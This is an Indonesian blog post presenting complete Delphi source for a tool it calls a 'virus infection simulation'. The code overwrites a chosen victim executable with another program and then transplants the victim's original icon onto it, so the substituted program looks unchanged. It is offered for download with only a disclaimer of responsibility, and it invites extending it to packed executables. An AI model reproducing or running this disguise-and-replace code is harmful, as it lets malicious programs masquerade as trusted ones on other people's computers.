Simulasi Infeksi Virus Dengan Delphi

Hmm…semakin banyaknya request2 yang dikirimkan ke emailku bagaimana caranya membuat suatu infeksi virus lama-lama bosen dengan request2 itu dan tak putuskan buat suatu tool untuk simulasi infeksi virus.

 Simulasi ini ditujukan untuk pendidikan semata dan segala penyalahgunaan terhadap tool ini Saya selaku pembuat tidak bertanggung jawab atas hal itu (Hanya Tuhan yang tau)… oke dari pada lama-lama neh silahkan lihat sendiri deh gimana cara buatnya Ya udah…daripada terlalu banyak bertele-tele anda silahkan mencobanya sendiri, segala kritikan bug / lainnya mengenai program ini yang dikirimkan melalui e-mail akan langsung saya “Bumi Hanguskan”. ScreenShotnya adalah sebagai berikut : berikut ini adalah source code selengkapnya :

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons,ShellAPI, ExtCtrls;

type
TfrmInfect = class(TForm)
GroupBox1: TGroupBox;
Label1: TLabel;
edTarget: TEdit;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
edKorban: TEdit;
Label2: TLabel;
GroupBox2: TGroupBox;
SpeedButton3: TSpeedButton;
SpeedButton4: TSpeedButton;
procedure SpeedButton3Click(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure SpeedButton4Click(Sender: TObject);
private
function ChangeIconExe(FileName, IcoFileName: pchar): Boolean;
procedure SaveIcon(srcPath: string);
{ Private declarations }
public
{ Public declarations }
end;

var
frmInfect: TfrmInfect;
sPathIcon: string;

implementation

{$R *.dfm}
procedure TfrmInfect.SaveIcon(srcPath: string);
var
MyIcon: TIcon;
img : TImage;
begin
MyIcon:=TIcon.Create;
img:=TImage.Create(Self);
MyIcon.Handle:=ExtractIcon(hInstance,PChar(srcpath),0);
sPathIcon := ExtractFilePath(Application.ExeName) + ‘\$$$.ico’;
img.Picture.Icon.Handle := MyIcon.Handle;
img.Picture.Icon.SaveToFile(sPathIcon);
end;

function TfrmInfect.ChangeIconExe(FileName, IcoFileName: pchar): Boolean;

procedure Error(const Msg: String);
begin
raise Exception.Create(’Pengubahan resource gagal: ‘ + Msg);
end;

procedure ErrorWithLastError(const Msg: String);
begin
Error(Msg + ‘(’ + IntToStr(GetLastError) + ‘)’);
end;

function EnumLangsFunc(hModule: Cardinal; lpType, lpName: PAnsiChar;
wLanguage: Word; lParam: Integer): Boolean; stdcall;
begin
PWord(lParam)^ := wLanguage;
Result := False;
end;

function GetResourceLanguage(hModule: Cardinal; lpType, lpName: PAnsiChar;
var wLanguage: Word): Boolean;
begin
wLanguage := 0;
EnumResourceLanguages(hModule, lpType, lpName, @EnumLangsFunc,
Integer(@wLanguage));
Result := True;
end;

type
PIcoItemHeader = ^TIcoItemHeader;
TIcoItemHeader = packed record
Width: Byte;
Height: Byte;
Colors: Byte;
Reserved: Byte;
Planes: Word;
BitCount: Word;
ImageSize: DWORD;
end;
PIcoItem = ^TIcoItem;
TIcoItem = packed record
Header: TIcoItemHeader;
Offset: DWORD;
end;
PIcoHeader = ^TIcoHeader;
TIcoHeader = packed record
Reserved: Word;
Typ: Word;
ItemCount: Word;
Items: array [0..MaxInt shr 4 – 1] of TIcoItem;
end;
PGroupIconDirItem = ^TGroupIconDirItem;
TGroupIconDirItem = packed record
Header: TIcoItemHeader;
Id: Word;
end;
PGroupIconDir = ^TGroupIconDir;
TGroupIconDir = packed record
Reserved: Word;
Typ: Word;
ItemCount: Word;
Items: array [0..MaxInt shr 4 – 1] of TGroupIconDirItem;
end;

function IsValidIcon(P: Pointer; Size: Cardinal): Boolean;
var
ItemCount: Cardinal;
begin
Result := False;
if Size < Cardinal(SizeOf(Word) * 3) then
Exit;
if (PChar(P)[0] = ‘M’) and (PChar(P)[1] = ‘Z’) then
Exit;
ItemCount := PIcoHeader(P).ItemCount;
if Size < Cardinal((SizeOf(Word) * 3) + (ItemCount * SizeOf(TIcoItem)))
then
Exit;
P := @PIcoHeader(P).Items;
while ItemCount > Cardinal(0) do begin
if (Cardinal(PIcoItem(P).Offset + PIcoItem(P).Header.ImageSize) <
Cardinal(PIcoItem(P).Offset)) or
(Cardinal(PIcoItem(P).Offset + PIcoItem(P).Header.ImageSize) >
Cardinal(Size)) then
Exit;
Inc(PIcoItem(P));
Dec(ItemCount);
end;
Result := True;
end;

var
H: THandle;
M: HMODULE;
R: HRSRC;
Res: HGLOBAL;
GroupIconDir, NewGroupIconDir: PGroupIconDir;
I: Integer;
wLanguage: Word;
F: TFileStream;
Ico: PIcoHeader;
N: Cardinal;
NewGroupIconDirSize: LongInt;
begin
result := false;

if Win32Platform <> VER_PLATFORM_WIN32_NT then begin
Error(’Sistem Operasi Tidak Mendukung’);
Exit;
end;

Ico := nil;

try
{ Buka Iconnya dulu… }
F := TFileStream.Create(IcoFileName, fmOpenRead, fmShareDenyRead);
try
N := F.Size;// .tangkap ukurannya
if Cardinal(N) > Cardinal($100000) then begin
Error(’File Icon Terlalu Besar’);
Exit;
end;
GetMem(Ico, N);
F.ReadBuffer(Ico^, N);
finally
F.Free;
end;

{ Pastikan icon telah valid }
if not IsValidIcon(Ico, N) then begin
Error(’Icon file is invalid’);
Exit;
end;

{ Ubah Resourcenya }
H := BeginUpdateResource(PChar(FileName), False);
if H = 0 then begin
ErrorWithLastError(’Gagal Mengubah Resource’);
Exit;
end;
try
M := LoadLibraryEx(PChar(FileName), 0, LOAD_LIBRARY_AS_DATAFILE);
if M = 0 then begin
ErrorWithLastError(’Gagal Load Library-nya!!!’);
Exit;
end;

try
{ Buka resource Icon Utama }
R := FindResource(M, ‘MAINICON’, RT_GROUP_ICON);
if R = 0 then begin
ErrorWithLastError(’Gagal menemukan alamat resource ‘);
Exit;
end;
Res := LoadResource(M, R);
if Res = 0 then begin
ErrorWithLastError(’Gagal membuka resource ‘);
Exit;
end;
GroupIconDir := LockResource(Res);
if GroupIconDir = nil then begin
ErrorWithLastError(’Gagal membuka resource’);
Exit;
end;

if not GetResourceLanguage(M, RT_GROUP_ICON, ‘MAINICON’, wLanguage)
then begin
ErrorWithLastError(’Gagal mendapatkan detil resource’);
Exit;
end;
if not UpdateResource(H, RT_GROUP_ICON, ‘MAINICON’, wLanguage, nil,
0) then begin
ErrorWithLastError(’Pengubahan resource gagal’);
Exit;
end;

{ Hapus resource icon yang termasuk dalam Icon Utama }
for I := 0 to GroupIconDir.ItemCount-1 do begin
if not GetResourceLanguage(M, RT_ICON,
MakeIntResource(GroupIconDir.Items[I].Id), wLanguage) then begin
ErrorWithLastError(’Gagal mendapatkan “Resource Language”‘);
Exit;
end;
if not UpdateResource(H, RT_ICON,
MakeIntResource(GroupIconDir.Items[I].Id), wLanguage, nil, 0) then begin
ErrorWithLastError(’Pengubahan resource gagal’);
Exit;
end;
end;

{ Bentuk grup icon yang baru }
NewGroupIconDirSize :=
3*SizeOf(Word)+Ico.ItemCount*SizeOf(TGroupIconDirItem);
GetMem(NewGroupIconDir, NewGroupIconDirSize);
try

NewGroupIconDir.Reserved := GroupIconDir.Reserved;
NewGroupIconDir.Typ := GroupIconDir.Typ;
NewGroupIconDir.ItemCount := Ico.ItemCount;
for I := 0 to NewGroupIconDir.ItemCount-1 do begin
NewGroupIconDir.Items[I].Header := Ico.Items[I].Header;
NewGroupIconDir.Items[I].Id := I+1;
end;

{ Ubah Icon Utama }
for I := 0 to NewGroupIconDir.ItemCount-1 do
if not UpdateResource(H, RT_ICON,
MakeIntResource(NewGroupIconDir.Items[I].Id), 1033, Pointer(DWORD(Ico) +
Ico.Items[I].Offset), Ico.Items[I].Header.ImageSize) then begin
ErrorWithLastError(’Pengubahan resource gagal’);
Exit;
end;

if not UpdateResource(H, RT_GROUP_ICON, ‘MAINICON’, 1033,
NewGroupIconDir, NewGroupIconDirSize) then begin
ErrorWithLastError(’Pengubahan resource gagal’);
Exit;
end;
finally
FreeMem(NewGroupIconDir);
end;
finally
FreeLibrary(M);
end;
except
EndUpdateResource(H, True);
raise;
end;
if not EndUpdateResource(H, False) then begin
Error(’[] Step Terakhir Pengubahan Resource Gagal’);
Exit;
end;
finally
FreeMem(Ico);
end;

result := true;
end;

procedure TfrmInfect.SpeedButton3Click(Sender: TObject);
begin
Application.MessageBox(’Simulai Infeksi Virus 1.0 – OpenSource’ + #13 +
‘============================’ + #13 +
‘Created by Tigor Mangatur Manurung A.k.A n3o_cybertech’,’Informasi’,MB_OK or MB_ICONINFORMATION);
end;

procedure TfrmInfect.SpeedButton1Click(Sender: TObject);
var
dlg: TOpenDialog;
begin
dlg:=TOpenDialog.Create(Self);
try
dlg.Filter := ‘File EXE | *.exe’;
dlg.Title := ‘Cari Target…’;
if dlg.Execute then
edTarget.Text := dlg.FileName;
finally
dlg.Free;
end;

end;

procedure TfrmInfect.SpeedButton2Click(Sender: TObject);
var
dlg: TOpenDialog;
begin
dlg:=TOpenDialog.Create(Self);
try
dlg.Filter := ‘File EXE | *.exe’;
dlg.Title := ‘Cari Korban…’;
if dlg.Execute then
edKorban.Text := dlg.FileName;
finally
dlg.Free;
end;

end;

procedure TfrmInfect.SpeedButton4Click(Sender: TObject);
var target,korban: string;
begin
if (
(Trim(edTarget.Text) = ”) or
(Trim(edKorban.Text) = ”)
) then exit;

if not(
(FileExists(edTarget.Text)) or
(FileExists(edKorban.Text))
) then exit;

//ekstrak ikonnya dan simpen ke file
target := edTarget.Text;
korban := edKorban.Text;
SaveIcon(korban);
CopyFile(PChar(Target),PChar(Korban),False);

sleep(50);
ChangeIconExe(PChar(korban),PChar(sPathIcon));
DeleteFile(ExtractFilePath(Application.ExeName) + ‘\$$$.ico’);
end;

end.

 

program ini hanya bisa beroperasi untuk program yang tidak di-packer, untuk yang di-packer anda dapat memodifikasinya sendiri .

Dowload lengkap https://syepriansyah.wordpress.com/

Segala penyalahgunaan terhadap program ini Saya selaku programmer tidak bertanggung jawab atas hal itu (tingkatin tuh jiwa nasionalismenya!!! ).